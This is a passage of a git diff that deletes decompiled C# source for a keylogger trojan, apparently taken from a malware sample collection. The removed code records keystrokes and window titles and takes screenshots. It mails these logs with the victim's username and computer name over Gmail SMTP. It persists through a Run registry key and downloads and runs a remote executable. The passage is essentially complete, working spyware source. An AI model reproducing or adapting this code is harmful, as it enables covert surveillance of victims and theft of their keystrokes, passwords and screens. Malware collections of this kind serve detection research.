aCuGHCnXpQxYe; - public int lHtftDsJBGmPh; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/LEThjJwJF.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/LEThjJwJF.cs deleted file mode 100644 index 788fb7e7..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/LEThjJwJF.cs +++ /dev/null @@ -1,699 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: LEThjJwJF -// Assembly: dfasdfasdfa, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 4CC4AEAF-CB32-40A7-93E4-1293140F4D9C -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Threading; -using System.Windows.Forms; - -[StandardModule] -internal sealed class LEThjJwJF -{ - public static Mutex LBfEuNPwTuuGhr; - public static string jxjVBchppIcvKk = "KrvSGxBAr"; - [AccessedThroughProperty("IsaTynXgGxhXII")] - private static GUlBzjdJZuXUZ _IsaTynXgGxhXII; - public static string vyRLXDeEXvPQWn; - public static string zcgrfBtxzmomgI; - public static string EoCOQxuJnJYDws; - public static string tukiwEOEDyaPnz; - public static Thread oLCEyJcnQskyYp; - public static string CybgAJgPgyekGj; - public static Process dmflrmsAYJCkEy; - [AccessedThroughProperty("IcVuCUlomdNiel")] - private static System.Windows.Forms.Timer _IcVuCUlomdNiel; - private const int dnJJcXJyIKwvch = 7; - private const int NGLvHhzbViIlua = 1; - private const int tbVEQBdxchQoWB = 0; - public static string OnoIUSzrQrxnjB; - public static string wOUEeKkNhzkzfY; - public static string gPcDbDdHZdNBAW; - public static int LgTTNCfFJcIQQi; - public static int xBQNbJjyATSFJC; - public static LEThjJwJF.TSysInhDjBcGFY rDdhrXNgElssiY; - public static string BaYPuOHJbyQTtv; - public static bool VkOzzkssvUfPYY; - public static bool uooJgorLSWGNWt; - public static bool iokNYhvntnbVgp; - public static string OJtpurEVdlZmdS; - public static string zTOTtDtokbvSrZ; - public static string frJeiPgDsdQUYu; - public static string VxlrZQcCfRrFnE; - public static int xoHdskvHibDTJh; - public static bool tUQLlIpXzFpQeJ; - - static LEThjJwJF() - { - LEThjJwJF.IsaTynXgGxhXII = new GUlBzjdJZuXUZ(); - LEThjJwJF.EoCOQxuJnJYDws = "VzWJrYnjU"; - LEThjJwJF.tukiwEOEDyaPnz = "OghDDYNXd.exe"; - LEThjJwJF.IcVuCUlomdNiel = new System.Windows.Forms.Timer(); - LEThjJwJF.OnoIUSzrQrxnjB = ""; - LEThjJwJF.wOUEeKkNhzkzfY = ""; - LEThjJwJF.gPcDbDdHZdNBAW = "smtp.gmail.com"; - LEThjJwJF.LgTTNCfFJcIQQi = 587; - LEThjJwJF.xBQNbJjyATSFJC = 0; - LEThjJwJF.rDdhrXNgElssiY = (LEThjJwJF.TSysInhDjBcGFY) 0; - LEThjJwJF.BaYPuOHJbyQTtv = ""; - LEThjJwJF.VkOzzkssvUfPYY = false; - LEThjJwJF.uooJgorLSWGNWt = false; - LEThjJwJF.iokNYhvntnbVgp = false; - LEThjJwJF.OJtpurEVdlZmdS = ""; - LEThjJwJF.zTOTtDtokbvSrZ = ""; - LEThjJwJF.frJeiPgDsdQUYu = "Title"; - LEThjJwJF.VxlrZQcCfRrFnE = "Message"; - LEThjJwJF.xoHdskvHibDTJh = 0; - LEThjJwJF.tUQLlIpXzFpQeJ = true; - } - - public static GUlBzjdJZuXUZ IsaTynXgGxhXII - { - get => LEThjJwJF._IsaTynXgGxhXII; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - GUlBzjdJZuXUZ.xznKgAJnisfNwEventHandler ajnisfNwEventHandler = new GUlBzjdJZuXUZ.xznKgAJnisfNwEventHandler(LEThjJwJF.OJJjDKZdzRzsTI); - if (LEThjJwJF._IsaTynXgGxhXII != null) - GUlBzjdJZuXUZ.xznKgAJnisfNw -= ajnisfNwEventHandler; - LEThjJwJF._IsaTynXgGxhXII = value; - if (LEThjJwJF._IsaTynXgGxhXII == null) - return; - GUlBzjdJZuXUZ.xznKgAJnisfNw += ajnisfNwEventHandler; - } - } - - public static System.Windows.Forms.Timer IcVuCUlomdNiel - { - get => LEThjJwJF._IcVuCUlomdNiel; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(LEThjJwJF.eOZluvJzvJbKQp); - if (LEThjJwJF._IcVuCUlomdNiel != null) - LEThjJwJF._IcVuCUlomdNiel.Tick -= eventHandler; - LEThjJwJF._IcVuCUlomdNiel = value; - if (LEThjJwJF._IcVuCUlomdNiel == null) - return; - LEThjJwJF._IcVuCUlomdNiel.Tick += eventHandler; - } - } - - [DllImport("kernel32.dll", EntryPoint = "GetConsoleWindow", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr ECEcSDPKNlQvLa(); - - [DllImport("user32.dll", EntryPoint = "ShowWindow", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int vEFEvQdUmPZzjh(IntPtr oEdTzAmaPJUJpF, int sVttGxniuprKER); - - [DllImport("user32.dll", EntryPoint = "GetForegroundWindow", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int RXObLtJLQodkGr(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int WJGkBFPXAviVGL( - int oEdTzAmaPJUJpF, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string cwppQcuhISQaZx, - int kJdbfAUxxSTCWk); - - private static string AggalwHDhLcFHb() - { - string cwppQcuhISQaZx = new string(char.MinValue, 100); - LEThjJwJF.WJGkBFPXAviVGL(LEThjJwJF.RXObLtJLQodkGr(), ref cwppQcuhISQaZx, 100); - return cwppQcuhISQaZx.Substring(0, checked (Strings.InStr(cwppQcuhISQaZx, "\0") - 1)); - } - - public static void YXTfStbJfxcWgT(string syZuOZdVSbQJDx, string akvoUusLQaNmwv) - { - RegistryKey subKey = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); - subKey.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); - subKey.SetValue(syZuOZdVSbQJDx, (object) akvoUusLQaNmwv); - } - - public static void ogeDJGkbRGRssz(string syZuOZdVSbQJDx) - { - RegistryKey subKey = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); - subKey.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); - subKey.DeleteValue(syZuOZdVSbQJDx, false); - } - - public static void TlWvTrEsBCNDcF(string NgpLwlLuuhcRjj) - { - try - { - Mutex.OpenExisting(NgpLwlLuuhcRjj); - ProjectData.EndApp(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - LEThjJwJF.LBfEuNPwTuuGhr = new Mutex(false, NgpLwlLuuhcRjj); - ProjectData.ClearProjectError(); - } - } - - public static string JnXhPZhzwjNJTY(int gQGSyEvtnLQcVN, int YEUyahwovERJrc) - { - Random random = new Random(); - string str1 = (string) null; - string str2 = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKHJJGFDSAZXCVBNM"; - int num1 = random.Next(checked (gQGSyEvtnLQcVN + 1), YEUyahwovERJrc); - int num2 = 1; - while (num2 <= num1) - { - int index = checked ((int) Math.Round((double) unchecked (Conversion.Int((float) checked (str2.Length - 2) * VBMath.Rnd()) + 1f))); - str1 += Conversions.ToString(str2[index]); - checked { ++num2; } - } - return str1; - } - - private static void OJJjDKZdzRzsTI(string otIDIvaQBJxmEP) - { - if (Operators.CompareString(LEThjJwJF.zcgrfBtxzmomgI, LEThjJwJF.AggalwHDhLcFHb(), false) != 0) - { - LEThjJwJF.vyRLXDeEXvPQWn = LEThjJwJF.vyRLXDeEXvPQWn + "\r\n[TITLE: " + LEThjJwJF.AggalwHDhLcFHb() + "]:\r\n"; - LEThjJwJF.zcgrfBtxzmomgI = LEThjJwJF.AggalwHDhLcFHb(); - Console.WriteLine("\r\n[TITLE: " + LEThjJwJF.AggalwHDhLcFHb() + "]:"); - } - LEThjJwJF.vyRLXDeEXvPQWn += otIDIvaQBJxmEP; - Console.Write(otIDIvaQBJxmEP); - } - - private static void eOZluvJzvJbKQp(object hyBhUjSkGpjtQn, EventArgs YekikJUBDRYaXk) - { - Console.WriteLine("A new log is sending..."); - new Thread((ParameterizedThreadStart) (a0 => LEThjJwJF.WTnexoOosxyULb(Conversions.ToString(a0)))) - { - IsBackground = true - }.Start((object) LEThjJwJF.vyRLXDeEXvPQWn); - LEThjJwJF.vyRLXDeEXvPQWn = ""; - } - - private static void WTnexoOosxyULb(string vlLsrZrnHJFsnA) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - string str = Path.GetTempPath() + "\\" + LEThjJwJF.JnXhPZhzwjNJTY(5, 10) + ".png"; -label_2: - num3 = 3; - if (!LEThjJwJF.VkOzzkssvUfPYY) - goto label_7; -label_3: - num3 = 4; - SRBxUiHKAFOgn.JDZnglJSpvkpO(); -label_4: - num3 = 5; - if (!System.IO.File.Exists(str)) - goto label_6; -label_5: - num3 = 6; - System.IO.File.Delete(str); -label_6: - num3 = 8; - SRBxUiHKAFOgn.EJfUQWzljbDzy.Save(str, ImageFormat.Png); -label_7: - num3 = 10; - MailMessage message = new MailMessage(); -label_8: - num3 = 11; - SmtpClient smtpClient1 = new SmtpClient(LEThjJwJF.gPcDbDdHZdNBAW); -label_9: - num3 = 12; - SmtpClient smtpClient2 = smtpClient1; -label_10: - num3 = 13; - smtpClient2.EnableSsl = true; -label_11: - num3 = 14; - smtpClient2.Credentials = (ICredentialsByHost) new NetworkCredential(LEThjJwJF.OnoIUSzrQrxnjB, LEThjJwJF.wOUEeKkNhzkzfY); -label_12: - num3 = 15; - smtpClient2.Port = LEThjJwJF.LgTTNCfFJcIQQi; -label_13: - smtpClient2 = (SmtpClient) null; -label_14: - num3 = 17; - MailMessage mailMessage = message; -label_15: - num3 = 18; - mailMessage.To.Add(LEThjJwJF.OnoIUSzrQrxnjB); -label_16: - num3 = 19; - mailMessage.From = new MailAddress(LEThjJwJF.OnoIUSzrQrxnjB); -label_17: - num3 = 20; - mailMessage.Subject = LEThjJwJF.BaYPuOHJbyQTtv; -label_18: - num3 = 21; - mailMessage.Body = vlLsrZrnHJFsnA; -label_19: - num3 = 22; - if (!LEThjJwJF.VkOzzkssvUfPYY) - goto label_21; -label_20: - num3 = 23; - mailMessage.Attachments.Add(new Attachment(str)); -label_21: - num3 = 25; - if (!LEThjJwJF.iokNYhvntnbVgp) - goto label_23; -label_22: - num3 = 26; - mailMessage.Body = "Victim Username: " + LEThjJwJF.QlWcgtIzEAvYxr().ToString() + "\r\n" + mailMessage.Body; -label_23: - num3 = 28; - if (!LEThjJwJF.uooJgorLSWGNWt) - goto label_25; -label_24: - num3 = 29; - mailMessage.Body = "Victim Computer Name: " + MyProject.Computer.Name + "\r\n" + mailMessage.Body; -label_25: - mailMessage = (MailMessage) null; -label_26: - num3 = 32; - smtpClient1.Send(message); -label_27: - num3 = 33; - Console.WriteLine("##### Logs have been sent! #####"); - goto label_34; -label_29: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - case 8: - goto label_6; - case 9: - case 10: - goto label_7; - case 11: - goto label_8; - case 12: - goto label_9; - case 13: - goto label_10; - case 14: - goto label_11; - case 15: - goto label_12; - case 16: - goto label_13; - case 17: - goto label_14; - case 18: - goto label_15; - case 19: - goto label_16; - case 20: - goto label_17; - case 21: - goto label_18; - case 22: - goto label_19; - case 23: - goto label_20; - case 24: - case 25: - goto label_21; - case 26: - goto label_22; - case 27: - case 28: - goto label_23; - case 29: - goto label_24; - case 30: - case 31: - goto label_25; - case 32: - goto label_26; - case 33: - goto label_27; - case 34: - goto label_34; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_29; - } - throw ProjectData.CreateProjectError(-2146828237); -label_34: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private static void UkhPcxsAocURHi() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - WebClient webClient = new WebClient(); -label_2: - num3 = 3; - Uri address = new Uri(LEThjJwJF.OJtpurEVdlZmdS); -label_3: - num3 = 4; - LEThjJwJF.CybgAJgPgyekGj = Path.GetTempPath() + "\\" + LEThjJwJF.JnXhPZhzwjNJTY(5, 10) + ".exe"; -label_4: - num3 = 5; - webClient.DownloadFileCompleted += new AsyncCompletedEventHandler(LEThjJwJF.tiBDFNfOUBvrAp); -label_5: - num3 = 6; - webClient.DownloadFileAsync(address, LEThjJwJF.CybgAJgPgyekGj); - goto label_12; -label_7: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_12; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_7; - } - throw ProjectData.CreateProjectError(-2146828237); -label_12: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private static void tiBDFNfOUBvrAp(object hyBhUjSkGpjtQn, AsyncCompletedEventArgs YekikJUBDRYaXk) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - Process process = new Process(); -label_2: - num3 = 3; - ProcessStartInfo processStartInfo = process.StartInfo; -label_3: - num3 = 4; - processStartInfo.FileName = LEThjJwJF.CybgAJgPgyekGj; -label_4: - num3 = 5; - processStartInfo.UseShellExecute = true; -label_5: - processStartInfo = (ProcessStartInfo) null; -label_6: - num3 = 7; - process.Start(); - goto label_13; -label_8: - num2 = num3; - switch (num1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_13; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_8; - } - throw ProjectData.CreateProjectError(-2146828237); -label_13: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - private static string QlWcgtIzEAvYxr() - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); - string str = folderPath.Remove(folderPath.LastIndexOf("\\")); - return str.Substring(checked (str.LastIndexOf("\\") + 1)); - } - - [STAThread] - public static void Main() - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - LEThjJwJF.TlWvTrEsBCNDcF(LEThjJwJF.jxjVBchppIcvKk); -label_2: - num3 = 3; - System.Windows.Forms.Timer timer = LEThjJwJF.IcVuCUlomdNiel; -label_3: - num3 = 4; - timer.Interval = checked (LEThjJwJF.xBQNbJjyATSFJC * int.Parse(Conversions.ToString(unchecked ((int) LEThjJwJF.rDdhrXNgElssiY)))); -label_4: - num3 = 5; - timer.Start(); -label_5: - timer = (System.Windows.Forms.Timer) null; -label_6: - num3 = 7; - LEThjJwJF.oLCEyJcnQskyYp = new Thread(new ThreadStart(LEThjJwJF.UkhPcxsAocURHi)); -label_7: - num3 = 8; - Thread thread = LEThjJwJF.oLCEyJcnQskyYp; -label_8: - num3 = 9; - thread.IsBackground = true; -label_9: - num3 = 10; - thread.Start(); -label_10: - thread = (Thread) null; -label_11: - num3 = 12; - LEThjJwJF.dmflrmsAYJCkEy = new Process(); -label_12: - num3 = 13; - Process process = LEThjJwJF.dmflrmsAYJCkEy; -label_13: - num3 = 14; - process.StartInfo.FileName = LEThjJwJF.zTOTtDtokbvSrZ; -label_14: - num3 = 15; - process.StartInfo.UseShellExecute = true; -label_15: - num3 = 16; - process.Start(); -label_16: - process = (Process) null; -label_17: - num3 = 18; - if (!LEThjJwJF.tUQLlIpXzFpQeJ) - goto label_19; -label_18: - num3 = 19; - int num4 = (int) Interaction.MsgBox((object) LEThjJwJF.VxlrZQcCfRrFnE, (MsgBoxStyle) LEThjJwJF.xoHdskvHibDTJh, (object) LEThjJwJF.frJeiPgDsdQUYu); -label_19: - num3 = 21; - Console.WriteLine("SkyNeos V1.0 Keylogger Engine Started Successfully!"); -label_20: - num3 = 22; - string str = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); -label_21: - num3 = 23; - MyProject.Computer.FileSystem.CreateDirectory(str + "\\" + LEThjJwJF.EoCOQxuJnJYDws); -label_22: - num3 = 24; - str = str + "\\" + LEThjJwJF.EoCOQxuJnJYDws + "\\" + LEThjJwJF.tukiwEOEDyaPnz; -label_23: - num3 = 25; - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, str, true); -label_24: - num3 = 26; - LEThjJwJF.YXTfStbJfxcWgT(LEThjJwJF.EoCOQxuJnJYDws, str); -label_25: - num3 = 27; - LEThjJwJF.IsaTynXgGxhXII.ylfbkIvDnbUPN(); -label_26: - num3 = 28; - Application.Run(); - goto label_33; -label_28: - num2 = num3; - switch (num1) - { - case 1: - int num5 = num2 + 1; - num2 = 0; - switch (num5) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_13; - case 15: - goto label_14; - case 16: - goto label_15; - case 17: - goto label_16; - case 18: - goto label_17; - case 19: - goto label_18; - case 20: - case 21: - goto label_19; - case 22: - goto label_20; - case 23: - goto label_21; - case 24: - goto label_22; - case 25: - goto label_23; - case 26: - goto label_24; - case 27: - goto label_25; - case 28: - goto label_26; - case 29: - goto label_33; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_28; - } - throw ProjectData.CreateProjectError(-2146828237); -label_33: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - - public enum TSysInhDjBcGFY - { - DjvWwOByJrBNLL = 1, - apBLZiogekZfLD = 1000, // 0x000003E8 - yFFsuUtUnVajYf = 60000, // 0x0000EA60 - jywVHvnnScKxxf = 3600000, // 0x0036EE80 - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/My/MyApplication.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/My/MyApplication.cs deleted file mode 100644 index 2b0d2e72..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: dfasdfasdfa, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 4CC4AEAF-CB32-40A7-93E4-1293140F4D9C -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/My/MyComputer.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/My/MyComputer.cs deleted file mode 100644 index 766dcf28..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: dfasdfasdfa, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 4CC4AEAF-CB32-40A7-93E4-1293140F4D9C -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/My/MyProject.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/My/MyProject.cs deleted file mode 100644 index 808ef1f6..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: dfasdfasdfa, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 4CC4AEAF-CB32-40A7-93E4-1293140F4D9C -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [HideModuleName] - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/SRBxUiHKAFOgn.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/SRBxUiHKAFOgn.cs deleted file mode 100644 index 92e626a6..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2/SRBxUiHKAFOgn.cs +++ /dev/null @@ -1,81 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SRBxUiHKAFOgn -// Assembly: dfasdfasdfa, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 4CC4AEAF-CB32-40A7-93E4-1293140F4D9C -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Drawing; -using System.Runtime.InteropServices; - -[StandardModule] -internal sealed class SRBxUiHKAFOgn -{ - public static Bitmap EJfUQWzljbDzy = (Bitmap) null; - public static byte[] OOGbrbGRQDWAz; - private const int oiKidybzISTBB = 13369376; - private static int RbYUdSxEwoFnG; - private static int mtfegxEDtLPfn; - - [DllImport("gdi32", EntryPoint = "CreateDCA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int YtuVfATsAsjrb( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string kUzCHtlxTfCvh, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string CLCmkGtuLdzJd, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lhmBODnkAYkRe, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string AbRpaYtNCZSVx); - - [DllImport("GDI32", EntryPoint = "CreateCompatibleDC", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int DxnDFIciPiwjY(int lPEhsbbzNlzBj); - - [DllImport("GDI32", EntryPoint = "CreateCompatibleBitmap", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int gdOWCnTkayFnn(int lPEhsbbzNlzBj, int lrBYhnlDKZsun, int ipQDPJrdYNJaY); - - [DllImport("gdi32", EntryPoint = "GetDeviceCaps", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int OCQWxmFXUBoZV(int lPEhsbbzNlzBj, int xBcLTxQHPWwOZ); - - [DllImport("GDI32", EntryPoint = "SelectObject", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int knXWnaRfWHrRb(int lPEhsbbzNlzBj, int WfOkIDlgiFzTf); - - [DllImport("GDI32", EntryPoint = "BitBlt", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int 